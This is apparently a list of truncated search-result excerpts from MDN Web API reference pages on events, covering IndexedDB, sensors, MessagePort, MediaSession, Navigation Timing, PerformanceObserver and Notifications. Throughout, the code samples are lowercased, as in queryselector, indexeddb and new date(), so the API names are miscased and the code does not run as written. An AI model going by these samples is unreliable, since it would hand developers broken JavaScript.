for a full working example, see our to-do notifications app (view example live.) var db; // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... this is used a lot below db = this.result; // run the displaydata() function to populate the task list with all the to-do list data already in the idb displaydata(); }; // this event handles the event whereby a new version of the database needs to be created // either one has not been created before, or a new version number has been submitted via the // window.indexeddb.open line above //it is only implemented in recent browsers dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain o...
IDBObjectStore.getKey() - Web APIs
return value an idbrequest object on which subsequent events related to this operation are fired.
... example let openrequest = indexeddb.open("telemetry"); openrequest.onsuccess = (event) => { let db = event.target.result; let store = db.transaction("netlogs").objectstore("netlogs"); let today = new date(); let yesterday = new date(today); yesterday.setdate(today.getdate() - 1); let request = store.getkey(idbkeyrange(yesterday, today)); request.onsuccess = (event) => { let when = event.target.result; alert("the 1st activity in last 24 hours was occurred at ...
IDBObjectStore.put() - Web APIs
if the record is successfully stored, then a success event is fired on the returned request object with the result set to the key for the stored record, and the transaction set to the transaction in which this object store is opened.
... return value an idbrequest object on which subsequent events related to this operation are fired.
ImageCapture - Web APIs
methods the imagecapture interface is based on eventtarget, so it includes the methods defined by that interface as well as the ones listed below.
...= math.min(canvas.width / img.width, canvas.height / img.height); let x = (canvas.width - img.width * ratio) / 2; let y = (canvas.height - img.height * ratio) / 2; canvas.getcontext('2d').clearrect(0, 0, canvas.width, canvas.height); canvas.getcontext('2d').drawimage(img, 0, 0, img.width, img.height, x, y, img.width * ratio, img.height * ratio); } document.queryselector('video').addeventlistener('play', function() { document.queryselector('#grabframebutton').disabled = false; document.queryselector('#takephotobutton').disabled = false; }); specifications specification status comment mediastream image capturethe definition of 'imagecapture' in that specification.
IndexedDB API - Web APIs
this method returns an idbrequest object; asynchronous operations communicate to the calling application by firing events on idbrequest objects.
... custom event interfaces this specification fires events with the following custom interface: idbversionchangeevent the idbversionchangeevent interface indicates that the version of the database has changed, as the result of an idbopendbrequest.onupgradeneeded event handler function.
InputDeviceCapabilities - Web APIs
the inputdevicecapabilities() constructor creates a new inputdevicecapabilities object provides information about the physical device responsible for generating a touch event.
... firetouchevents: a boolean that indicates whether the device dispatches touch events.
Keyboard API - Web APIs
a list of valid code values is found in the writing system keys section of the ui events keyboardevent code values spec.
... “writing system keys” are defined in the writing system keys section of the ui events keyboardevent code values spec as the physical keys that change meaning based on the current locale and keyboard layout.
LinearAccelerationSensor.x - Web APIs
example linear acceleration is typically read in the sensor.onreading event callback.
... let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
LinearAccelerationSensor.y - Web APIs
example linear acceleration is typically read in the sensor.onreading event callback.
... let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
LinearAccelerationSensor.z - Web APIs
example linear acceleration is typically read in the sensor.onreading event callback.
... let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
LinearAccelerationSensor - Web APIs
example linear acceleration is typically read in the sensor.onreading event callback.
... let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
LockManager.request() - Web APIs
the do_read() requests a lock in 'shared' mode meaning that multiple calls may occur simultaneously across different event handlers, tabs, or workers.
...this applies across event handlers, tabs, or workers.
Magnetometer.x - Web APIs
WebAPIMagnetometerx
example the magnetometer is typically read in the sensor.onreading event callback.
... let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Magnetometer.y - Web APIs
WebAPIMagnetometery
example the magnetometer is typically read in the sensor.onreading event callback.
... let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Magnetometer.z - Web APIs
WebAPIMagnetometerz
example the magnetometer is typically read in the sensor.onreading event callback.
... let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Magnetometer - Web APIs
example the magnetometer is typically read in the sensor.onreading event callback.
... let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
MediaElementAudioSourceNode - Web APIs
ce = audioctx.createmediaelementsource(myaudio); // create a gain node var gainnode = audioctx.creategain(); // create variables to store mouse pointer y coordinate // and height of screen var cury; var height = window.innerheight; // get new mouse pointer coordinates when mouse is moved // then set new gain value document.onmousemove = updatepage; function updatepage(e) { cury = (window.event) ?
... e.pagey : event.clienty + (document.documentelement.scrolltop ?
message - Web APIs
the mediakeymessageevent.message read-only property returns an arraybuffer with a message from the content decryption module.
... syntax var messagetype = mediakeymessageevent.messagetype; specifications specification status comment encrypted media extensionsthe definition of 'message' in that specification.
MediaKeySession - Web APIs
event handlers mediakeysession.onkeystatuseschange sets the eventhandler called when there has been a change in the keys in a session or their statuses.
... mediakeysession.onmessage sets the eventhandler called when the content decryption module has generated a message for the session.
MediaQueryList.matches - Web APIs
you can be notified when the value of matches changes by watching for the change event to be fired at the mediaquerylist.
... examples this example detects viewport orientation changes by creating a media query using the orientation media feature: function addmqlistener(mq, callback) { if (mq.addeventlistener) { mq.addeventlistener("change", callback); } else { mq.addlistener(callback); } } addmqlistener(window.matchmedia("(orientation:landscape)"), event => { if (event.matches) { /* now in landscape orientation */ } else { /* now in portrait orientation */ } } ); specifications specification status comment css object model (cssom) view modulethe definition of 'matches' in that sp...
MediaQueryList.removeListener() - Web APIs
this is basically an alias for eventtarget.removeeventlistener(), for backwards compatibility purposes — in older browsers you could use removeeventlistener() instead.
...in the new implementation the standard event mechanism is used, and the callback is a standard function.
MediaRecorder.requestData() - Web APIs
the mediarecorder.requestdata() method (part of the mediarecorder api) is used to raise a dataavailable event containing a blob object of the captured media as it was when the method was called.
... raise a dataavailable event containing a blob of the currently captured data (the blob is available under the event's data attribute.) create a new blob and place subsequently captured data into it.
MediaRecorder.stop() - Web APIs
raise a dataavailable event containing the blob of data that has been gathered.
... raise a stop event.
MediaSession - Web APIs
methods setactionhandler() sets an event handler for a media session action, such as play or pause.
...) {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); navigator.mediasession.setactionhandler('previoustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } the following example sets up event handlers for pausing and playing: var audio = document.queryselector("#player"); audio.src = "song.mp3"; navigator.mediasession.setactionhandler('play', play); navigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); navigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); navigator.mediasession.playbackstate = "paused"; } ...
MediaStream.ended - Web APIs
WebAPIMediaStreamended
this value once the ended event has been fired.
... this property has been removed from the specification; you should instead rely on the ended event or check the value of mediastreamtrack.readystate to see if its value is "ended" for the track or tracks you want to ensure have finished playing.
MediaStreamConstraints.audio - Web APIs
h: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: true }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which uses getusermedia() to obtain an audio-only stream with no specific constraints, then attaches the resulting stream to an <audio> element on...
...h: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: { samplesize: 8, echocancellation: true } }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which calls getusermedia(), specifying a set of audio constraints requesting that echo cancel...
MediaStreamConstraints.video - Web APIs
h: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: true }).then(stream => videoelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which uses getusermedia() to obtain a video-only stream with no specific constraints, then attaches the resulting stream to a <video> element on...
...h: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: { width: 160, height: 120, framerate: 15 } }).then(stream => videoelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which calls getusermedia(), specifying a set of video constraints that indic...
MessagePort.close() - Web APIs
WebAPIMessagePortclose
example in the following code block, you can see a handlemessage handler function, run when a message is sent back to this document using eventtarget.addeventlistener.
... channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); you could stop messages being sent at any time using channel.port1.close(); specifications specification status comment html living standardthe definition of 'close()' in that specification.
MessagePort.onmessage - Web APIs
the onmessage event handler of the messageport interface is an eventlistener, called whenever an messageevent of type message is fired on the port — that is, when the port receives a message.
... var channel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessagePort.start() - Web APIs
WebAPIMessagePortstart
this method is only needed when using eventtarget.addeventlistener; it is implied when using messagechannel.onmessage.
... example in the following code block, you can see a handlemessage handler function, run when a message is sent back to this document using onmessage: channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } another option would be to do this using eventtarget.addeventlistener, however, when this method is used, you need to explicitly call start() to begin the flow of messages to this document: channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); specifications specification status comment html living sta...
Microsoft API extensions - Web APIs
touch apis element.mszoomto() mscontentzoom msmanipulationevent msmanipulationstatechanged msmanipulationviewsenabled mspointerhover media apis htmlvideoelement.msframestep() htmlvideoelement.mshorizontalmirror htmlvideoelement.msinsertvideoeffect() htmlvideoelement.msislayoutoptimalforplayback htmlvideoelement.msisstereo3d htmlvideoelement.mszoom htmlaudioelement.msaudiocategory htmlaudioelement.msaudiodevicetype htmlmediaelement.mscleareffects() htmlmediaelement.msinse...
...() mediaerror.msextendedcode msgraphicstrust msgraphicstruststatus msisboxed msplaytodisabled msplaytopreferredsourceuri msplaytoprimary msplaytosource msrealtime mssetmediaprotectionmanager mssetvideorectangle msstereo3dpackingmode msstereo3drendermode onmsvideoformatchanged onmsvideoframestepcompleted onmsvideooptimallayoutchanged msfirstpaint pinned sites apis mssitemodeevent mssitemodejumplistitemremoved msthumbnailclick other apis x-ms-aria-flowfrom x-ms-acceleratorkey x-ms-format-detection mscaching mscachingenabled mscapslockwarningoff event.msconverturl() mselementresize document.mselementsfromrect() msisstatichtml navigator.mslaunchuri() mslaunchuricallback element.msmatchesselector() msprotocols msputpropertyenabled mswriteprofilermark...
msPlayToSource - Web APIs
var ptm = windows.media.playto.playtomanager.getforcurrentview(); // step 2: register for the sourcerequested event (user swipes devices charm).
... ptm.addeventlistener("sourcerequested", function(e) { // step 3: specify the media to be streamed (to filter devices).
MutationObserver - Web APIs
it is designed as a replacement for the older mutation events feature, which was part of the dom3 events specification.
... mutation observer & customize resize event listener & demo https://codepen.io/webgeeker/full/yjrzgg/ example the following example was adapted from this blog post.
Using Navigation Timing - Web APIs
for example, to measure the perceived loading time for a page: window.addeventlistener("load", function() { let now = new date().gettime(); let loadingtime = now - performance.timing.navigationstart; document.queryselector(".output").innertext = loadingtime + " ms"; }, false); this code, executed when the load event occurs, subtracts from the current time the time at which the navigation whose timing was recorded began (performance.timing.navigationstart), ...
...the new code looks like this: window.addeventlistener("load", function() { let now = new date().gettime(); let loadingtime = now - performance.timing.navigationstart; output = "load time: " + loadingtime + " ms<br/>"; output += "navigation type: "; switch(performance.navigation.type) { case performancenavigation.type_navigate: output += "navigation"; break; case performancenavigation.type_reload: o...
Navigation Timing API - Web APIs
performancenavigationtiming provides methods and properties to store and retrieve metrics regarding the browser's document navigation events.
... examples calculate the total page load time to compute the total amount of time it took to load the page, you can use the following code: const perfdata = window.performance.timing; const pageloadtime = perfdata.loadeventend - perfdata.navigationstart; this subtracts the time at which navigation began (navigationstart) from the time at which the load event handler returns (loadeventend).
Navigator.clipboard - Web APIs
perhaps this code is being used in a browser extension that displays the current clipboard contents, automatically updating periodically or when specific events fire.
... specifications specification status comment clipboard api and eventsthe definition of 'navigator.clipboard' in that specification.
Navigator.maxTouchPoints - Web APIs
syntax touchpoints = navigator.maxtouchpoints; example if (navigator.maxtouchpoints > 1) { // browser supports multi-touch } specifications specification status comment pointer events – level 2the definition of 'maxtouchpoints' in that specification.
... pointer eventsthe definition of 'maxtouchpoints' in that specification.
Navigator - Web APIs
WebAPINavigator
navigator.credentials returns the credentialscontainer interface which exposes methods to request credentials and notify the user agent when interesting events occur such as successful sign in or sign out.
... navigator.wakelock read only returns a wakelock interface you can use to request screen wake locks and prevent screen from dimming, turning off, or showing a screen saver.
Navigator.onLine - Web APIs
you can see changes in the network state by listening for the events on window.ononline and window.onoffline.
... to see changes in the network state, use addeventlistener to listen for the events on window.online and window.offline, as in the following example: window.addeventlistener('offline', function(e) { console.log('offline'); }); window.addeventlistener('online', function(e) { console.log('online'); }); specifications specification status comment html living standardthe definition of 'navigator.online' in that specif...
NetworkInformation.downlinkMax - Web APIs
examples the following example monitors the connection using the change event and logs changes as they occur.
... var downlinkmax = 'not supported'; if ('connection' in navigator) { connectiontype = navigator.connection.effectivetype; if ('downlinkmax' in navigator.connection) { downlinkmax = navigator.connection.downlinkmax; } } console.log('current connection type: ' + connectiontype + ' (downlink max: ' + downlinkmax + ')'); } logconnectiontype(); navigator.connection.addeventlistener('change', logconnectiontype); specifications specification status comment network information apithe definition of 'downlinkmax' in that specification.
NetworkInformation.onchange - Web APIs
the networkinformation.onchange event handler contains the code that is fired when connection information changes, and the change is received by the networkinformation object.
...} // register for event changes: navigator.connection.onchange = changehandler; // another way: navigator.connection.addeventlistener('change', changehandler); specifications specification status comment network information apithe definition of 'onchange' in that specification.
Notification.onclose - Web APIs
the onclose property of the notification interface specifies an event listener to receive close events.
... these events occur when a notification is closed.
Notification.onerror - Web APIs
the onerror property of the notification interface specifies an event listener to receive error events.
... these events occur when something goes wrong with a notification (in many cases an error preventing the notification from being displayed.) syntax notification.onerror = function() { ...
Notification.onshow - Web APIs
the onshow property of the notification interface specifies an event listener to receive show events.
... these events occur when a notification is displayed.
NotificationAction - Web APIs
example notifications can fire notificationclick events on the serviceworkerglobalscope.
... self.registration.shownotification("new mail from alice", { actions: [ { action: 'archive', title: 'archive' } ] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'archive') { // archive action was clicked archiveemail(); } else { // main body of notification was clicked clients.openwindow('/inbox'); } }, false); specifications specification status comment notifications api living standard living standard ...
Notifications API - Web APIs
this should be done in response to a user gesture, such as clicking a button, for example: btn.addeventlistener('click', function() { let promise = notification.requestpermission(); // wait for permission }) this is not only best practice — you should not be spamming users with notifications they didn't agree to — but going forward browsers will explicitly disallow notifications not triggered in response to a user gesture.
... notificationevent a specific type of event object, based on extendableevent, which represents a notification that has fired.
OrientationSensor - Web APIs
const options = { frequency: 60, referenceframe: 'device' }; const sensor = new absoluteorientationsensor(options); sensor.addeventlistener('reading', () => { // model is a three.js object instantiated elsewhere.
... model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requsting permissions for multiple device sensors.
ParentNode.replaceChildren() - Web APIs
to do this, we give each of the buttons a click event handler, which collects together the selected options you want to transfer in one constant, and the existing options in the list you are transferring to in another constant.
... const noselect = document.getelementbyid('no'); const yesselect = document.getelementbyid('yes'); const nobtn = document.getelementbyid('to-no'); const yesbtn = document.getelementbyid('to-yes'); yesbtn.addeventlistener('click', () => { const selectedtransferoptions = document.queryselectorall('#no option:checked'); const existingyesoptions = document.queryselectorall('#yes option'); yesselect.replacechildren(...selectedtransferoptions, ...existingyesoptions); }); nobtn.addeventlistener('click', () => { const selectedtransferoptions = document.queryselectorall('#yes option:checked'); const existingnooptions = document.queryselect...
paymentRequestId - Web APIs
the paymentrequestid read-only property of the paymentrequestevent interface returns the id of the paymentrequest object.
... syntax var id = paymentrequestevent.paymentrequestid value a domstring contains the id.
PaymentResponse.shippingOption - Web APIs
syntax var shippingoption = paymentrequest.shippingoption; example in the example below, the paymentrequest.onshippingaoptionchange event is called.
...var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingoptionchange', function(evt) { evt.updatewith(new promise(function(resolve, reject) { updatedetails(details, request.shippingoption, resolve, reject); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of brevity.
PerformanceNavigationTiming.domComplete - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interacti...
...ve = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcomplete' in that specification.
PerformanceNavigationTiming.domInteractive - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interacti...
...ve = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'dominteractive' in that specification.
PerformanceNavigationTiming.redirectCount - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interacti...
...ve = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'redirectcount' in that specification.
PerformanceNavigationTiming.type - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interacti...
...ve = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'type' in that specification.
PerformanceObserver.observe() - Web APIs
examples this example creates and configures two performanceobservers; one watches for "mark" and "frame" events, and the other watches for "measure" events.
... var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'observe()' in that specification.
PerformanceObserver - Web APIs
the performanceobserver interface is used to observe performance measurement events and be notified of new performance entries as they are recorded in the browser's performance timeline.
... example function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver' in that specification.
PerformanceObserverEntryList.getEntries() - Web APIs
example function print_perf_entry(pe) { console.log("name: " + pe.name + "; entrytype: " + pe.entrytype + "; starttime: " + pe.starttime + "; duration: " + pe.duration); } // create observer for all performance event types var observe_all = new performanceobserver(function(list, obs) { var perfentries; // print all entries perfentries = list.getentries(); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries named "begin" with type "mark" perfentries = list.getentriesbyname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { prin...
...t_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to frame event only observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2the definition of 'getentries()'...
PerformanceObserverEntryList.getEntriesByName() - Web APIs
example function print_perf_entry(pe) { console.log("name: " + pe.name + "; entrytype: " + pe.entrytype + "; starttime: " + pe.starttime + "; duration: " + pe.duration); } // create observer for all performance event types var observe_all = new performanceobserver(function(list, obs) { var perfentries; // print all entries perfentries = list.getentries(); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries named "begin" with type "mark" perfentries = list.getentriesbyname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { prin...
...t_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'frame' event observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2the definition of 'getentr...
PerformanceObserverEntryList.getEntriesByType() - Web APIs
example function print_perf_entry(pe) { console.log("name: " + pe.name + "; entrytype: " + pe.entrytype + "; starttime: " + pe.starttime + "; duration: " + pe.duration); } // create observer for all performance event types var observe_all = new performanceobserver(function(list, obs) { var perfentries; // print all entries perfentries = list.getentries(); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries named "begin" with type "mark" perfentries = list.getentriesbyname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { prin...
...t_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'navigation', 'resource', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'frame' event observe_frame.observe({entrytypes: ['frame']}); specifications specification status comment performance timeline level 2the definition of 'getentr...
PerformanceObserverEntryList - Web APIs
the performanceobserverentrylist interface is a list of peformance events that were explicitly observed via the observe() method.
... example // create observer for all performance event types // list is of type performanceobserveentrylist var observe_all = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); for (var i = 0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); // do something with it } }) specifications specification status comment performance timeline level 2the definition o...
PerformancePaintTiming - Web APIs
an application can register a performanceobserver for "paint" performance entry types and the observer can retrieve the times that paint events occur.
...k:href="/docs/web/api/performancepainttiming" target="_top"><rect x="201" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancepainttiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties (for "paint" performance entry types) by qualifying and constraining the properties as follows: performanceentry.entrytype returns "paint".
PerformanceResourceTiming.connectEnd - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supported) { var va...
PerformanceResourceTiming.connectStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
... function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_start_and_end_properties(p[i]); } } function print_start_and_end_properties(perfentry) { // print timestamps of the performanceentry *start and *end properties properties = ["connectstart", "connectend", "domainlookupstart", "domainlookupend", "fetchstart", "redirectstart", "redirectend", "requeststart", "responsestart", "responseend", "secureconnectionstart"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in perfentry; if (supporte...
PerformanceResourceTiming.decodedBodySize - Web APIs
example the following example, the value of the size properties of all "resource" type events are logged.
...edbodysize" in perfentry) console.log("encodedbodysize = " + perfentry.encodedbodysize); else console.log("encodedbodysize = not supported"); if ("transfersize" in perfentry) console.log("transfersize = " + perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { log_sizes(p[i]); } } specifications specification status comment resource timing level 2the definition of 'decodedbodysize' in that specification.
PerformanceResourceTiming.domainLookupEnd - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged.
